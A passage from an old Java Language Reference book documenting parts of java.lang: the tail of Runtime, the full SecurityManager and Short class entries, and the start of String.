The garbage collector is normally run continuously in a thread with the lowest possible priority, so that it works intermittently to reclaim storage. The gc() method allows a program to invoke the garbage collector explicitly when necessary.

getLocalizedInputStream

public InputStream getLocalizedInputStream(InputStream in)

Availability

Deprecated as of JDK 1.1

Parameters

in

An InputStream object that is to be localized.

Returns

The localized InputStream.

Description

This method returns an InputStream object that converts characters from the local character set to Unicode. For example, if the InputStream uses an 8-bit character set with values less than 128 representing Cyrillic letters, this method maps those characters to the corresponding Unicode characters in the range '\u0400' to '\u04FF'.

This method is deprecated as of JDK 1.1. You should instead use the new InputStreamReader and BufferedReader classes to convert characters from the local character set to Unicode.

getLocalizedOutputStream

public OutputStream getLocalizedOutputStream(OutputStream out)

Availability

Deprecated as of JDK 1.1

Parameters

out

An OutputStream object that is to be localized.

Returns

The localized OutputStream.

Description

This method returns an OutputStream object that converts characters from Unicode to the local character set. For example, if the local character set is an 8-bit character set with values less than 128 representing Cyrillic letters, this method maps Unicode characters in the range '\u0400' to '\u04FF' to the appropriate characters in the local character set.

This method is deprecated as of JDK 1.1. You should instead use the new OutputStreamWriter and BufferedWriter classes to convert characters from Unicode to the local character set.

load

public synchronized void load(String filename)

Parameters

filename

A string that specifies the complete path of the file to be loaded.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library.

It is often more convenient to call the load() method of the System class because it does not require getting a Runtime object.

loadLibrary

public synchronized void loadLibrary(String libname)

Parameters

libname

A string that specifies the name of a dynamically linked library.

Throws

SecurityException

If the checkLink() method of the SecurityManager throws a SecurityException.

UnsatisfiedLinkError

If the method is unsuccessful in loading the specified dynamically linked library.

Description

This method loads the specified dynamically linked library. It looks for the specified library in a platform-specific way.

It is often more convenient to call the loadLibrary() method of the System class because it does not require getting a Runtime object.

runFinalization

public native void runFinalization()

Description

This method causes the Java virtual machine to run the finalize() methods of any objects in the finalization queue in the current thread.

When the garbage collector discovers that there are no references to an object, it checks to see if the object has a finalize() method that has never been called. If the object has such a finalize() method, the object is placed in the finalization queue. While there is a reference to the object in the finalization queue, the object is no longer considered garbage-collectable.

Normally, the objects in the finalization queue are handled by a separate finalization thread that runs continuously at a very low priority. The finalization thread removes an object from the queue and calls its finalize() method. As long as the finalize() method does not generate a reference to the object, the object again becomes available for garbage collection.

Because the finalization thread runs at a very low priority, there may be a long delay from the time that an object is put on the finalization queue until the time that its finalize() method is called. The runFinalization() method allows a program to run the finalize() methods explicitly. This can be useful when there is a shortage of some resource that is released by a finalize() method.

totalMemory

public native long totalMemory()

Returns

The total number of bytes in system memory.

Description

This method returns the total number of bytes in system memory in the Java virtual machine. The total includes the number of bytes of memory being used by allocated objects, as well as the number of free bytes available for allocating additional objects. An estimate of the number of free bytes in system memory is available through the freeMemory() method.

traceInstructions

public native void traceInstructions(boolean on)

Parameters

on

A boolean value that specifies if instructions are to be traced. true if instructions are to be traced; otherwise false.

Description

This method controls whether or not the Java virtual machine outputs a detailed trace of each instruction that is executed. The boolean parameter causes tracing to be turned on or off. The tracing of instructions is only possible in a Java virtual machine that was compiled with the tracing option enabled. Production releases of the Java virtual machine are generally not compiled with tracing enabled.

traceMethodCalls

public native void traceMethodCalls(boolean on)

Parameters

on

A boolean value that specifies if method calls are to be traced. true if instructions are to be traced; otherwise false.

Description

This method controls whether or not the Java virtual machine outputs a detailed trace of each method that is invoked. The boolean parameter causes tracing to be turned on or off. The tracing of instructions is only possible in a Java virtual machine that was compiled with the tracing option enabled. Production releases of the Java virtual machine are generally not compiled with tracing enabled.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Errors;
Exceptions;
Object;
Object Destruction;
Process;
SecurityManager;
System

Previous | Home | Next
Runnable | Book Index | SecurityManager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] SecurityManager

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

SecurityManager

Name

SecurityManager

Synopsis

Class Name:

java.lang.SecurityManager

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The SecurityManager class provides a way of implementing a comprehensive security policy for a Java program. As of this writing, SecurityManager objects are used primarily by Web browsers to establish security policies for applets. However, the use of a SecurityManager object is appropriate in any situation where a hosting environment wants to limit the actions of hosted programs.

The SecurityManager class contains methods that are called by methods in other classes to ask for permission to do something that can affect the security of the system. These permission methods all have names that begin with check. If a check method does not permit an action, it throws a SecurityException or returns a value that indicates the lack of permission. The SecurityManager class provides default implementations of all of the check methods. These default implementations are the most restrictive possible implementations; they simply deny permission to do anything that can affect the security of the system.

The SecurityManager class is an abstract class. A hosting environment should define a subclass of SecurityManager that implements an appropriate security policy. To give the subclass of SecurityManager control over security, the hosting environment creates an instance of the class and installs it by passing it to the setSecurityManager() method of the System class. Once a SecurityManager object is installed, it cannot be changed. If the setSecurityManager() method is called any additional times, it throws a SecurityException.

The methods in other classes that want to ask the SecurityManager for permission to do something are able to access the SecurityManager object by calling the getSecurityManager() method of the System class. This method returns the SecurityManager object, or null to indicate that there is no SecurityManager installed.

Class Summary

public abstract class java.lang.SecurityManager extends java.lang.Object {
    // Constructors
    protected SecurityManager();
    // Variables
    protected boolean inCheck;
    // Instance Methods
    public void checkAccept(String host, int port);
    public void checkAccess(Thread t);
    public void checkAccess(ThreadGroup g);
    public void checkAwtEventQueueAccess();                  // New in 1.1
    public void checkConnect(String host, int port);
    public void checkConnect(String host, int port, Object context);
    public void checkCreateClassLoader();
    public void checkDelete(String file);
    public void checkExec(String cmd);
    public void checkExit(int status);
    public void checkLink(String libname);
    public void checkListen(int port);
    public void checkMemberAccess(Class clazz, int which);   // New in 1.1
    public void checkMulticast(InetAddress maddr);           // New in 1.1
    public void checkMulticast(InetAddress maddr, byte ttl); // New in 1.1
    public void checkPackageAccess();
    public void checkPackageDefinition();
    public void checkPrintJobAccess();                       // New in 1.1
    public void checkPropertiesAccess();
    public void checkPropertyAccess(String key);
    public void checkRead(int fd);
    public void checkRead(String file);
    public void checkRead(String file, Object context);
    public void checkSecurityAccess(String action);          // New in 1.1
    public void checkSetFactory();
    public void checkSystemClipboardAccess();                // New in 1.1
    public boolean checkTopLevelWindow();
    public void checkWrite(int fd);
    public void checkWrite(String file);
    public boolean getInCheck();
    public Object getSecurityContext();
    public ThreadGroup getThreadGroup();                     // New in 1.1
    // Protected Instance Methods
    protected int classDepth(String name);
    protected int classLoaderDepth();
    protected ClassLoader currentClassLoader();
    protected Class currentLoadedClass();                    // New in 1.1
    protected Class[] getClassContext();
    protected boolean inClass(String name);
    protected boolean inClassLoader();
}

Variables

inCheck

protected boolean inCheck = false

Description

This variable indicates whether or not a security check is in progress. A subclass of SecurityManager should set this variable to true while a security check is in progress.

This variable can be useful for security checks that require access to resources that a hosted program may not be permitted to access. For example, a security policy might be based on the contents of a permissions file. This means that the various check methods need to read information from a file to decide what to do. Even though a hosted program may not be allowed to read files, the check methods can allow such reads when inCheck is true to support this style of security policy.

Constructors

SecurityManager

protected SecurityManager()

Throws

SecurityException

If a SecurityManager object already exists. In other words, if System.getSecurityManager() returns a value other than null.

Description

Creates a new SecurityManager object. This constructor cannot be called if there is already a current SecurityManager installed for the program.

Public Instance Methods

checkAccept

public void checkAccept(String host, int port)

Parameters

host

The name of the host machine.

port

A port number.

Throws

SecurityException

If the caller does not have permission to accept the connection.

Description

This method decides whether or not to allow a connection from the given host on the given port to be accepted. An implementation of the method should throw a SecurityException to deny permission to accept the connection. The method is called by the accept() method of the java.net.ServerSocket class.

The checkAccept() method of SecurityManager always throws a SecurityException.

checkAccess

public void checkAccess(Thread g)

Parameters

g

A reference to a Thread object.

Throws

SecurityException

If the current thread does not have permission to modify the specified thread.

Description

This method decides whether or not to allow the current thread to modify the specified Thread. An implementation of the method should throw a SecurityException to deny permission to modify the thread. Methods of the Thread class that call this method include stop(), suspend(), resume(), setPriority(), setName(), and setDaemon().

The checkAccess() method of SecurityManager always throws a SecurityException.

public void checkAccess(ThreadGroup g)

Parameters

g

A reference to a ThreadGroup object.

Throws

SecurityException

If the current thread does not have permission to modify the specified thread group.

Description

This method decides whether or not to allow the current thread to modify the specified ThreadGroup. An implementation of the method should throw a SecurityException to deny permission to modify the thread group. Methods of the ThreadGroup class that call this method include setDaemon(), setMaxPriority(), stop(), suspend(), resume(), and destroy().

The checkAccess() method of SecurityManager always throws a SecurityException.

checkAwtEventQueueAccess

public void checkAwtEventQueueAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to access the AWT event queue.

Description

This method decides whether or not to allow access to the AWT event queue. An implementation of the method should throw a SecurityException to deny permission to access the event queue. The method is called by the getSystemEventQueue() method of the java.awt.Toolkit class.

The checkAwtEventQueueAccess() method of SecurityManager always throws a SecurityException.

checkConnect

public void checkConnect(String host, int port)

Parameters

host

The name of the host.

port

A port number. A value of -1 indicates an attempt to determine the IP address of given hostname.

Throws

SecurityException

If the caller does not have permission to open the socket connection.

Description

This method decides whether or not to allow a socket connection to the given host on the given port to be opened. An implementation of the method should throw a SecurityException to deny permission to open the connection. The method is called by the constructors of the java.net.Socket class, the send() and receive() methods of the java.net.DatagramSocket class, and the getByName() and getAllByName() methods of the java.net.InetAddress class.

The checkConnect() method of SecurityManager always throws a SecurityException.

 public void checkConnect(String host, int port, Object context)

Parameters

host

The name of the host.

port

A port number. A value of -1 indicates an attempt to determine the IP address of given host name.

context

A security context object returned by this object's getSecurityContext() method.

Throws

SecurityException

If the specified security context does not have permission to open the socket connection.

Description

This method decides whether or not to allow a socket connection to the given host on the given port to be opened for the specified security context. An implementation of the method should throw a SecurityException to deny permission to open the connection.

The checkConnect() method of SecurityManager always throws a SecurityException.

checkCreateClassLoader

public void checkCreateClassLoader()

Throws

SecurityException

If the caller does not have permission to create a ClassLoader object.

Description

This method decides whether or not to allow a ClassLoader object to be created. An implementation of the method should throw a SecurityException to deny permission to create a ClassLoader. The method is called by the constructor of the ClassLoader class.

The checkCreateClassLoader() method of SecurityManager always throws a SecurityException.

checkDelete

public void checkDelete(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to delete the specified file.

Description

This method decides whether or not to allow a file to be deleted. An implementation of the method should throw a SecurityException to deny permission to delete the specified file. The method is called by the delete() method of the java.io.File class.

The checkDelete() method of SecurityManager always throws a SecurityException.

checkExec

public void checkExec(String cmd)

Parameters

cmd

The name of an external command.

Throws

SecurityException

If the caller does not have permission to execute the specified command.

Description

This method decides whether or not to allow an external command to be executed. An implementation of the method should throw a SecurityException to deny permission to execute the specified command. The method is called by the exec() methods of the Runtime and System classes.

The checkExec() method of SecurityManager always throws a SecurityException.

checkExit

public void checkExit(int status)

Parameters

status

An exit status code.

Throws

SecurityException

If the caller does not have permission to exit the Java virtual machine with the given status code.

Description

This method decides whether or not to allow the Java virtual machine to exit with the given status code. An implementation of the method should throw a SecurityException to deny permission to exit with the specified status code. The method is called by the exit() methods of the Runtime and System classes.

The checkExit() method of SecurityManager always throws a SecurityException.

checkLink

public void checkLink(String lib)

Parameters

lib

The name of a library.

Throws

SecurityException

If the caller does not have permission to load the specified library.

Description

This method decides whether to allow the specified library to be loaded. An implementation of the method should throw a SecurityException to deny permission to load the specified library. The method is called by the load() and loadLibrary() methods of the Runtime and System classes.

The checkLink() method of SecurityManager always throws a SecurityException.

checkListen

public void checkListen(int port)

Parameters

port

A port number.

Throws

SecurityException

If the caller does not have permission to listen on the specified port.

Description

This method decides whether or not to allow the caller to listen on the specified port. An implementation of the method should throw a SecurityException to deny permission to listen on the specified port. The method is called by the constructors of the java.net.ServerSocket class and by the constructor of the java.net.DatagramSocket class that takes one argument.

The checkListen() method of SecurityManager always throws a SecurityException.

checkMemberAccess

public void checkMemberAccess(Class clazz, int which)

Availability

New as of JDK 1.1

Parameters

clazz

A Class object.

which

The value Member.PUBLIC for the set of all public members including inherited members or the value Member.DECLARED for the set of all declared members of the specified class or interface.

Throws

SecurityException

If the caller does not have permission to access the members of the specified class or interface.

Description

This method decides whether or not to allow access to the
members of the specified Class object.  An implementation
of the method should throw a SecurityException
to deny permission to access the members.  Methods of the
Class class that call this method include
getField(), getFields(),
getDeclaredField(), getDeclaredFields(),
getMethod(), getMethods(),
getDeclaredMethod(),
getDeclaredMethods(),
getConstructor(), getConstructors(),
getDeclaredConstructor(),
getDeclaredConstructors(), and
getDeclaredClasses().

The checkMemberAccess() method of SecurityManager always throws a SecurityException.

checkMulticast

public void checkMulticast(InetAddress maddr)

Availability

New as of JDK 1.1

Parameters

maddr

An InetAddress object that represents a multicast address.

Throws

SecurityException

If the current thread does not have permission to use the specified multicast address.

Description

This method decides whether or not to allow the current thread to use the specified multicast InetAddress. An implementation of the method should throw a SecurityException to deny permission to use the multicast address. The method is called by the send() method of java.net.DatagramSocket if the packet is being sent to a multicast address. The method is also called by the joinGroup() and leaveGroup() methods of java.net.MulticastSocket.

The checkMulticast() method of SecurityManager always throws a SecurityException.

public void checkMulticast(InetAddress maddr, byte ttl)

Availability

New as of JDK 1.1

Parameters

maddr

An InetAddress object that represents a multicast address.

ttl

The time-to-live (TTL) value.

Throws

SecurityException

If the current thread does not have permission to use the specified multicast address and TTL value.

Description

This method decides whether or not to allow the current thread to use the specified multicast InetAddress and TTL value. An implementation of the method should throw a SecurityException to deny permission to use the multicast address. The method is called by the send() method of java.net.MulticastSocket.

The checkMulticast() method of SecurityManager always throws a SecurityException.

checkPackageAccess

public void checkPackageAccess(String pkg)

Parameters

pkg

The name of a package.

Throws

SecurityException

If the caller does not have permission to access the specified package.

Description

This method decides whether or not to allow the specified package to be accessed. An implementation of the method should throw a SecurityException to deny permission to access the specified package. The method is intended to be called by implementations of the loadClass() method in subclasses of the ClassLoader class.

The checkPackageAccess() method of SecurityManager always throws a SecurityException.

checkPackageDefinition

public void checkPackageDefinition(String pkg)

Parameters

pkg

The name of a package.

Throws

SecurityException

If the caller does not have permission to define classes in the specified package.

Description

This method decides whether or not to allow the caller to define classes in the specified package. An implementation of the method should throw a SecurityException to deny permission to create classes in the specified package. The method is intended to be called by implementations of the loadClass() method in subclasses of the ClassLoader class.

The checkPackageDefinition() method of SecurityManager always throws a SecurityException.

checkPrintJobAccess

public void checkPrintJobAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to initiate a print job request.

Description

This method decides whether or not to allow the caller to initiate a print job request. An implementation of the method should throw a SecurityException to deny permission to initiate the request.

The checkPrintJobAccess() method of SecurityManager always throws a SecurityException.

checkPropertiesAccess

public void checkPropertiesAccess()

Throws

SecurityException

If the caller does not have permission to access the system properties.

Description

This method decides whether or not to allow the caller to access and modify the system properties. An implementation of the method should throw a SecurityException to deny permission to access and modify the properties. Methods of the System class that call this method include getProperties() and setProperties().

The checkPropertiesAccess() method of SecurityManager always throws a SecurityException.

checkPropertyAccess

public void checkPropertyAccess(String key)

Parameters

key

The name of an individual system property.

Throws

SecurityException

If the caller does not have permission to access the specified system property.

Description

This method decides whether or not to allow the caller to access the specified system property. An implementation of the method should throw a SecurityException to deny permission to access the property. The method is called by the getProperty() method of the System class.

The checkPropertyAccess() method of SecurityManager always throws a SecurityException.

checkRead

public void checkRead(FileDescriptor fd)

Parameters

fd

A reference to a FileDescriptor object.

Throws

SecurityException

If the caller does not have permission to read from the given file descriptor.

Description

This method decides whether or not to allow the caller to read from the specified file descriptor. An implementation of the method should throw a SecurityException to deny permission to read from the file descriptor. The method is called by the constructor of the java.io.FileInputStream class that takes a FileDescriptor argument.

The checkRead() method of SecurityManager always throws a SecurityException.

public void checkRead(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to read from the named file.

Description

This method decides whether or not to allow the caller to read from the named file. An implementation of the method should throw a SecurityException to deny permission to read from the file. The method is called by constructors of the java.io.FileInputStream and java.io.RandomAccessFile classes, as well as by the canRead(), exists(), isDirectory(), isFile(), lastModified(), length(), and list() methods of the java.io.File class.

The checkRead() method of SecurityManager always throws a SecurityException.

public void checkRead(String file, Object context)

Parameters

file

The name of a file.

context

A security context object returned by this object's getSecurityContext() method.

Throws

SecurityException

If the specified security context does not have permission to read from the named file.

Description

This method decides whether or not to allow the specified security context to read from the named file. An implementation of the method should throw a SecurityException to deny permission to read from the file.

The checkRead() method of SecurityManager always throws a SecurityException.

checkSecurityAccess

public void checkSecurityAccess(String action)

Availability

New as of JDK 1.1

Parameters

action

A string that specifies a security action.

Throws

SecurityException

If the caller does not have permission to perform the specified security action.

Description

This method decides whether to allow the caller to perform the specified security action. An implementation of the method should throw a SecurityException to deny permission to perform the action. The method is called by many of the methods in the java.security.Identity and java.security.Security classes.

The checkSecurityAccess() method of SecurityManager always throws a SecurityException.

checkSetFactory

public void checkSetFactory()

Throws

SecurityException

If the caller does not have permission to set the factory class to be used by another class.

Description

This method decides whether to allow the caller to set the factory class to be used by another class. An implementation of the method should throw a SecurityException to deny permission to set the factory class. The method is called by the setSocketFactory() method of the java.net.ServerSocket class, the setSocketImplFactory() method of the java.net.Socket class, the setURLStreamHandlerFactory() method of the java.net.URL class, and the setContentHandlerFactory() method of the java.net.URLConnection class.

The checkSetFactory() method of SecurityManager always throws a SecurityException.

checkSystemClipboardAccess

public void checkSystemClipboardAccess()

Availability

New as of JDK 1.1

Throws

SecurityException

If the caller does not have permission to access the system clipboard.

Description

This method decides whether or not to allow the caller to access the system clipboard. An implementation of the method should throw a SecurityException to deny permission to access the system clipboard.

The checkSystemClipboardAccess() method of SecurityManager always throws a SecurityException.

checkTopLevelWindow

public boolean checkTopLevelWindow(Object window)

Parameters

window

A window object.

Returns

true if the caller is trusted to put up the specified top-level window; otherwise false.

Description

This method decides whether or not to trust the caller to put up the specified top-level window. An implementation of the method should return false to indicate that the caller is not trusted. In this case, the hosting environment can still decide to display the window, but the window should include a visual indication that it is not trusted. If the caller is trusted, the method should return true, and the window can be displayed without any special indication.

The checkTopLevelWindow() method of SecurityManager always returns false.

checkWrite

public void checkWrite(FileDescriptor fd)

Parameters

fd

A FileDescriptor object.

Throws

SecurityException

If the caller does not have permission to write to the given file descriptor.

Description

This method decides whether or not to allow the caller to write to the specified file descriptor. An implementation of the method should throw a SecurityException to deny permission to write to the file descriptor. The method is called by the constructor of the java.io.FileOutputStream class that takes a FileDescriptor argument.

The checkWrite() method of SecurityManager always throws a SecurityException.

public void checkWrite(String file)

Parameters

file

The name of a file.

Throws

SecurityException

If the caller does not have permission to read from the named file.

Description

This method decides whether or not to allow the caller to write to the named file. An implementation of the method should throw a SecurityException to deny permission to write to the file. The method is called by constructors of the java.io.FileOutputStream and java.io.RandomAccessFile classes, as well as by the canWrite(), mkdir(), and renameTo() methods of the java.io.File class.

The checkWrite() method of SecurityManager always throws a SecurityException.

getInCheck

public boolean getInCheck()

Returns

true if a security check is in progress; otherwise false.

Description

This method returns the value of the SecurityManager object's inCheck variable, which is true if a security check is in progress and false otherwise.

getSecurityContext

public Object getSecurityContext()

Returns

An implementation-dependent object that contains enough information about the current execution environment to perform security checks at a later time.

Description

This method is meant to create an object that encapsulates information about the current execution environment. The resulting security context object is used by specific versions of the checkConnect() and checkRead() methods. The intent is that such a security context object can be used by a trusted method to determine whether or not another, untrusted method can perform a particular operation.

The getSecurityContext() method of SecurityManager simply returns null. This method should be overridden to return an appropriate security context object for the security policy that is being implemented.

getThreadGroup

public ThreadGroup getThreadGroup()

Availability

New as of JDK 1.1

Returns

A ThreadGroup in which to place any threads that are created when this method is called.

Description

This method returns the appropriate parent ThreadGroup for any threads that are created when the method is called. The getThreadGroup() method of SecurityManager simply returns the ThreadGroup of the current thread. This method should be overridden to return an appropriate ThreadGroup.

Protected Instance Methods

classDepth

protected native int classDepth(String name)

Parameters

name

The fully qualified name of a class.

Returns

The number of pending method invocations from the top of the stack to a call to a method of the given class; -1 if no stack frame in the current thread is associated with a call to a method in the given class.

Description

This method returns the number of pending method invocations between this method invocation and an invocation of a method associated with the named class.

classLoaderDepth

protected native int classLoaderDepth()

Returns

The number of pending method invocations from the top of the stack to a call to a method that is associated with a class that was loaded by a ClassLoader object; -1 if no stack frame in the current thread is associated with a call to such a method.

Description

This method returns the number of pending method invocations between this method invocation and an invocation of a method associated with a class that was loaded by a ClassLoader object.

currentClassLoader

protected native ClassLoader currentClassLoader()

Returns

The most recent ClassLoader object executing on the stack.

Description

This method finds the most recent pending invocation of a method associated with a class that was loaded by a ClassLoader object. The method then returns the ClassLoader object that loaded that class.

currentLoadedClass

protected Class currentLoadedClass()

Availability

New as of JDK 1.1

Returns

The most recent Class object loaded by a ClassLoader.

Description

This method finds the most recent pending invocation of a method associated with a class that was loaded by a ClassLoader object. The method then returns the Class object for that class.

getClassContext

protected native Class[] getClassContext()

Returns

An array of Class objects that represents the current execution stack.

Description

This method returns an array of Class objects that represents the current execution stack. The length of the array is the number of pending method calls on the current thread's stack, not including the call to getClassContext(). Each element of the array references a Class object that describes the class associated with the corresponding method call. The first element of the array corresponds to the most recently called method, the second element is that method's caller, and so on.

inClass

protected boolean inClass(String name)

Parameters

name

The fully qualified name of a class.

Returns

true if there is a pending method invocation on the stack for a method of the given class; otherwise false.

Description

This method determines whether or not there is a pending method invocation that is associated with the named class.

inClassLoader

protected boolean inClassLoader()

Returns

true if there is a pending method invocation on the stack for a method of a class that was loaded by a ClassLoader object; otherwise false.

Description

This method determines whether or not there is a pending method invocation that is associated with a class that was loaded by a ClassLoader object. The method returns true only if the currentClassLoader() method does not return null.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class;
ClassLoader;
Exceptions;
Object;
Runtime;
System;
Thread;
ThreadGroup

Previous | Home | Next
Runtime | Book Index | Short
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Short

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

Short

Name

Short

Synopsis

Class Name:

java.lang.Short

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Short class provides an object wrapper for a short value. This is useful when you need to treat a short value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a short value for one of these arguments, but you can provide a reference to a Short object that encapsulates the byte value. Furthermore, the Short class is necessary as of JDK 1.1 to support the Reflection API and class literals.

The Short class also provides a number of utility methods for converting short values to other primitive types and for converting short values to strings and vice-versa.

Class Summary

public final class java.lang.Short extends java.lang.Number {
  // Constants
  public static final short MAX_VALUE;
  public static final short MIN_VALUE;
  public static final Class TYPE;
  // Constructors
  public Short(short value);
  public Short(String s);
  // Class Methods
  public static Short decode(String nm);
  public static short parseShort(String s);
  public static short parseShort(String s, int radix);
  public static String toString(short s);
  public static Short valueOf(String s, int radix);
  public static Short valueOf(String s);
  // Instance Methods
  public byte byteValue();
  public double doubleValue();
  public boolean equals(Object obj);
  public float floatValue();
  public int hashCode();
  public int intValue();
  public long longValue();
  public short shortValue();
  public String toString();
}

Constants

MAX_VALUE

public static final short MAX_VALUE= 32767

The largest value that can be represented by a short.

MIN_VALUE

public static final byte MIN_VALUE= -32768

The smallest value that can be represented by a short.

TYPE

public static final Class TYPE

The Class object that represents the primitive type short. It is always true that Short.TYPE == short.class.

Constructors

Short

public Short(short value)

Parameters

value

The short value to be encapsulated by this object.

Description

Creates a Short object with the specified short value.

public Short(String s) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid short literal.

Description

Constructs a Short object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Short decode(String nm) throws NumberFormatException

Parameters

nm

A String representation of the value to be encapsulated by a Short object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

A Short object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any non-digit characters other than a leading minus sign or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns a Short object that encapsulates the given value.

parseByte

 public static short parseShort(String s) throws NumberFormatException

Parameters

s

The String to be converted to a short value.

Returns

The numeric value of the short represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a short or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns the numeric value of the short represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static short parseShort(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a short value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' are considered valid digits.

Returns

The numeric value of the short represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a short, radix is not in the appropriate range, or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns the numeric value of the short represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toString

public String toString(short s)

Parameters

s

The short value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

public static Short valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

Returns

The Short object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a short or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

Constructs a Short object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-'. If the string contains any other characters, the method throws a NumberFormatException.

 public static Short valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Short object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a short, radix is not in the appropriate range, or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

Constructs a Short object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Returns

The value of this object as a byte. The high order bits of the value are discarded.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Short and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the short value of the object.

Overrides

Object.hashCode()

Description

This method returns a hash code computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Byte;
Character;
Class;
Double;
Exceptions;
Float;
Integer literals;
Integer types;
Integer;
Long;
Number;
String

Previous | Home | Next
SecurityManager | Book Index | String
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] String

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

String

Name

String

Synopsis

Class Name:

java.lang.String

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The String class represents sequences of characters. Once a String object is created, it is immutable. In other words, the sequence of characters that a String represents cannot be changed after it is created. The StringBuffer class, on the other hand, represents a sequence of characters that can be changed. StringBuffer objects are used to perform computations on String objects.

The String class includes a number of utility methods, such as methods for fetching individual characters or ranges of contiguous characters, for translating characters to upper- or lowercase, for searching strings, and for parsing numeric values in strings.

String literals are compiled into String objects. Where a String literal appears in an expression, the compiled code contains a String object. If s is declared as String, the following two expressions are identical:

s.equals("ABC")
"ABC".equals(s)

The string concatenation operator implicitly creates String objects.

Class Summary

public final class java.lang.String extends java.lang.Object {
    // Constructors
    public String();
